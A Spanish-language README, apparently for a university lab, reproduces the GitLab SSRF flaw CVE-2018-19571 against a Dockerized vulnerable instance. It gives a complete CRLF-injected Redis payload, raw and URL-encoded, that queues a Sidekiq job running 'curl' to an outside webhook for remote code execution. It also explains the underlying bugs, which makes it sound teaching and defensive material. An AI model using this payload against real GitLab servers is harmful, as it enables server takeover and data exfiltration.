
Demostración de CVE-2018-19571: GitLab SSRF CVE
Este repositorio es una reproducción de CVE-2018-19571, y de cómo, combinado con una explotación de inyección CRLF, puede conducir a la ejecución remota de código (RCE).
GitLab CE/EE, versiones 8.18 hasta 11.x anteriores a 11.3.11, 11.4 anteriores a 11.4.8 y 11.5 anteriores a 11.5.1, son vulnerables a una vulnerabilidad SSRF en webhooks.
Para esta reproducción, utilizaremos una imagen vulnerable de GitLab y la ejecutaremos usando Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
El objetivo es proporcionar una URL de webhook que, al procesarse, resulte en el envío de un payload a Redis.
Este payload, que se encolará, contendrá un trabajo de Sidekiq que, al ejecutarse, ejecutará código de shell arbitrario. En nuestro caso, copiará el valor de la bandera (flag) para nosotros.
Primero repasaremos los pasos, antes de explicar qué hace cada uno.
Crear una cuenta o iniciar sesión con la cuenta root.
La contraseña de root debería ser password, según se especifica en el archivo initial_root_password, pero a veces esto no se carga correctamente.
En esos casos, deberás modificar la contraseña de la cuenta root directamente.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Dentro del shell
gitlab-rails console
# Dentro de la consola
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Luego, dirígete a http://localhost:5080 e inicia sesión.

Navega a la página de creación de proyectos.
A continuación, ve a http://localhost:5080/projects/new y haz clic en la pestaña Import project. Verás que hay una opción: Repo by URL. Vamos a usarla para realizar nuestro ataque SSRF.

Crea un webhook para recibir la bandera.
Crea una URL de webhook en https://webhook.site/.
Reemplaza la URL del webhook en el siguiente payload:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Luego, finalmente, codificamos lo anterior usando un Codificador URL. Ten en cuenta que solo codificaremos el payload (que incluye los espacios en blanco al principio y los saltos de línea), no la primera ni la última línea. También necesitarás usar CRLF. Por último, reemplaza los siguientes caracteres, si los hay, con su codificación respectiva:
_: %5F.: %2E-: %2DSi lo anterior falla, es posible que necesites habilitar las solicitudes salientes a servicios internos.

Puedes hacerlo en http://localhost:5080/admin/application_settings/network después de iniciar sesión como root.
Estamos explotando dos vulnerabilidades para este ataque. La primera vulnerabilidad es SSRF, donde los servicios internos pueden ser alcanzados a través de IPv6. Puedes ver más información en el issue de GitLab aquí: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
La segunda vulnerabilidad es cómo se permitían saltos de línea en la URL de los webhooks.
Estas dos combinadas nos permiten pasar un payload al servicio interno. En este caso, estamos apuntando al servicio Redis local.
El payload que pasamos encola un nuevo trabajo en la cola de Redis, y este trabajo es procesado realmente por Sidekiq, un ejecutor de trabajos asíncronos que funciona con Ruby on Rails. Estamos apuntando específicamente a la clase de trabajo GitlabShellWorker, que nos permite ejecutar código arbitrario.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Por lo tanto, al pasar open('| curl <URL AQUÍ>').read y ejecutarlo con class_eval, podemos desencadenar la ejecución remota de código.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(O puedes usar directamente este payload de arriba, y visitar https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ para ver el resultado).

Deberías ver que se realizó una solicitud GET al webhook (y se repetirá mientras GitLab intente obtener el repositorio repetidamente).
